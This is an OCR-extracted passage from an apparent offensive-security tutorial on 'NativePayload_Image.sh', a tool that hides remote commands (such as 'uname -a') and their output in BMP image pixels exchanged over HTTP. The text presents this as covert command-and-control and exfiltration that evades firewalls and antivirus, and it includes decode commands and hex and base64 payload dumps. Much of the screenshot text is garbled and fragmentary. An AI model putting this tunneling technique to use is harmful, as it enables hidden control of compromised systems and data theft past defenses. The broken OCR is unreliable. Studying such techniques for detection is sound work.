et e o i |Inj Uploading DATA via BMP Image Pixels by DNS or HI
'_L?S.‘-SS-aSIz;_Gl b'. 2.1h y ivePayload_Image.sh help

Mod ed by S S r on Pot

root@Kkali: ~

File Edit View Search Terminal Help

:~# s *.bmp.2
ChatviaPixe p.2

-
IS

BOF & IEED
e b ez Ay - T . PTEETT

Picture 20:

Using Commands by “@cmd:Commands” instead Text-messages via BMP files

we talked about this Method in Partl of this Chapter-11 but again | want to say this Important Point “this is really good way for
Exfil/Hiding Payloads against Firewalls and Avs also this method is kind of Tunneling (one-way/two-way) by Images over
HTTP/HTTPS Traffic so advanced Malware will use by this Method for Transferring Commands between infected systems and
hackers so this is “Big Deal and Serious Problem” ....

Note : in our network traffic between systemA and systemB we have BMP files with “Same Name and Same Size more often”.

now in this Section | want to talk about Transferring Commands via BMP files , in “NativePayload Image.sh” v2 with this syntax
you can use Commands instead Text-messages very simple :

syntax : @cmd:Commands
Example : @cmd:uname -a

SO our steps are :

Sending “Commands” by this method step by step :

Stepl : SystemA want to send Cmd “uname -a” ---- > SystemB

Stepl-1: SystemA , “@cmd:uanem -a” injected to BMP1 , now BMP1 is Ready...
Stepl-2: SystemA send Signal to —----> SystemB for Download BMP1

Step2 : SystemB Downloaded BMP1 from SystemA over HTTP traffic , CMD Detected by SystemB!
Step2-1: SystemB CMD extracted from BMP1 and Executed locally on SystemB

Step2-2: SystemB CMD output Injected to BMP2 , now BMP2 is Ready...

Step2-3: SystemB send Signal to —---> SystemA for Download BMP2

Step3 : SystemA Downloaded BMP2 from SystemB over HTTP traffic , show text for CMD output

in the next “Picture 21" you can see these Steps for command “uname -a”.
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File Machine View Input Devices Hel File Machine View Input Devices Help

Places = inal « Fri 23:27 Applications = Places = Fri 19:57

pplications -
root@kali: ~ root@kali: ~
UFile Edit View Search Terminal Help F\|E Edit View Search Terminal Help
] :Payload. [0%2d32352h74686973206973206d7 : 03b291:Index[54]:1r

Step1: sending this
Command to : S iR e o s g
MP: :ChatviaPixels.bmp: : [5024] .null.bytes:Creat remote system :ChatMode: : SendbyBMPviaHTTP: :BMP.payload. requests.base64:0n

a] :ChatMode : :SendbyBMPviaHTTP: :BMP. payload. re

:BMP: :ChatviaPixelsII.bmp: :[502
6134343730333136323664343637343561

:ChatviaPixelsII.bmp

Step3: Cmd Qutput

[>]:BMP:Payload.bytes [0x2d32
3135333431333034633661353037
30346435330a33313638363235373
34323534353435363431363735323437353
34343531373502346536393334333034633 343436
B
34303435363434663536353333303464363135373335333136353431 Cmd Output via BMP file by Http
33643061] : Index[54] :injected: ChatviaPixels. bmp Traffic as Response toffor Step1

Picture 21:
in then next “Picture 22" you can see our CMD output injected to this “ChatviaPixels.bmp.3” by Base64.

File Machine View Input Devices File Machine View Input Devices Help

Sat 00:28 Applications = Places = Terminal + Fri 20:58

pplications « Places = Terminal =
root@kali: ~ root@Kkali: ~
2 Viey - T
U File Edit View Search Terminal Help File Edit View ch  Terminal Help
i MP:Payload. b [0x2d32352b74686973206973206079207365636 f6e642074657374203b29

iaPixelsII. bmp

this is my second test ;

. length [99]
@] :ChatMode: : SendbyBMPviaHTTP: :BMP. payload. requests . base64:0n ¥ ith length 19
>] :BMP: :ChatviaPixels.bmp::[50 null.bytes:Created :ChatMode : :SendbyBMPviaHTTP: :BMP. payload. requests.base64:0n
}jdaqoqu 1:BMP: :ChatviaPixelsII.bmp::[5024].null.bytes:Created

1:BMP:Payload. by [0 1 7 934 730 73934
33136 1 1 ] j :
3 A 1:BMP:Payload.bytes [0x2d34322b3531343734653734356134343730333136323664343637343561

= b
53836383330346335
EBQB665034667’64?
337

30343336373364
30343336373364

65234 . . 4 7 :
1 gé f‘J 1:ini d 333431373435393531366633643061] : Index[54] :injected:ChatviaPixelsII.bmp

ytes
373
3531
336

Linux kali 4.6.0-kalil-amd64 #1 SMP iD

i [0x2d3233392b
330346336613539373534643
Ga333 363836323537353133323465
4644 1363735323437353636393631 15313-136 73534 i i iew  Sear: rmina
R R iy Anmres Sranchice’ s 837 File Edit View Search Terminal Help
303464353334313666306134643661343137383465363933303737346537 kali:~# 1s ChatviaPixels* - . o,
39333U3FBQ44640335333662J64?4645J444J63r33324533J?6,J549333 (hatVLaPlxels‘hwp ChatwviaPixels.bmp.1 (hatv1aP1xels.bmp‘2 ChatviaPixels.bmp.3 ChatviaPixels]
343934353634346635363533333934643631353733353331363534313666 ~# strings ChatviaPixels.bmp.3 | cut -d'+' -f2 | xxd -r -p
33643061] : Index[54] : injected: ChatviaPixels. bmp TGIungga2FsaSABL]YuMClrYWXpMSIhbNQENCA]MSBTTVAgRGVlaWFuIDOuNl40LTFrYprM5A0
] i97:] .M]Axl‘u@wNy@yMSkgeDgzszOIEdWSQMaNSIer— #
~# strings ChatviaPixels.bmp.3 | cut d +' -f2 | xxd -r -p | basetd -d
Linux kali 4.5.0-kalil-amd64 #1 SMP Debian 4.6.4-1kalil (2@16-07-21) xB86_64 GNU/Linux
==

Picture 22:

Using Command “@msgsave” to Saving all Text-Messages/Command-Outputs with details Information

With this syntax you can save all Messages very simple :

syntax . @msgsave
S0 you can see in the next “Picture 23" by this command all Messages saved to one text file with detail information.

-N--> it means this file has Normal Payload without Base64
-B--> it means this file has Base64 Payload
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HAUA LKUNMING] = YIacle viM vVIrudioox

File Machine View Input Devices Help

File Machine View Input Devices Help

root@kali: ~

bplications 5 [ Tdrminal « Sat 00:32

root@kali: ~ File Edit View Search Terminal Help
File Edit View Search Terminal Help

Bl ChatviaPixelsll.bmp

File Edit View Search Terminal Help

:~# cat Messages 21-12-2018.21-00-31.txt
Ial

21-12- -

21-12- g \ ond test ;)1

21-12- 1 c-B- aPi Tt ssage: [this is text-message by BASEGd ;)]
21-12-20
21-12-

18 Rec-B- 'ChatviaPixels.bmp.3' Message:[Linux kali 4.6.0-kalil-amd64 #1 SMP Debi
kalil (2016-87-21) x8B GNU/Linux]
4[]

[ STy

B

Picture 23:

Using Command “@msglist” to see all Text-Messages/Command-Outputs with details Information!
With this syntax you can see all Messages very simple :

syntax : @msglist
-N--> it means this file has Normal Payload without Base64
-B--> it means this file has Base64 Payload

as you can see in the two next “Pictures 24 , 25" we can see Messages Detail in both Sides.

File Machine View Input Devices Help File Machine View Input Devices Help
pplications Places + [ Terminal = Sa root@kali: ~
File Edit View Search Terminal Help

root@kali: ~
U File Edit View Search Terminal Help

.bmp.1
21-12-2018 5 My
21-12-2018
21-12-2018.
21-12-2018.19-57-15 < c-B- °C
4-1kalil (2016-087-21) 6 64 GHU/Linux]

@
T
z
4

Bl ChatviaPixelsll.omp
root@kali: -
File Edit View Search Terminal Help

t Messages_21-12-2018.21-00-31.txt
Connected
message via BMP filesl]
i)l
e:[this is text-message by BASE64 ;)]

[Linux kali 4.6.0-kalil-amd64 #1 SMP Debi
kalil (2016

Picture 24:
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File Machine View Input Devices Help File Machine View Input Devices Help
pplications « >rmina root@kali: ~

File Edit View Search Terminal Help

| File Edit View Search Terminal Help

Bl ChatviaPixelsll.bmp
. root@kali: ~
File Edit View Search Terminal Help
t Messages 21-12-2018.21-00-31.txt

[this is

21-12-20 -38-14 } > p.2 text-message by BASE64 ;)]
21-12-26 B ‘uname -
4 21-12-20 - riaPixels. :[Linux kali 4.6.0-kalil-amd64 #1 SMH

Picture 25:

as you can see by these Pictures we can use Images for DATA Transferring also this is kind of Tunneling by Images over HTTP
Traffic.
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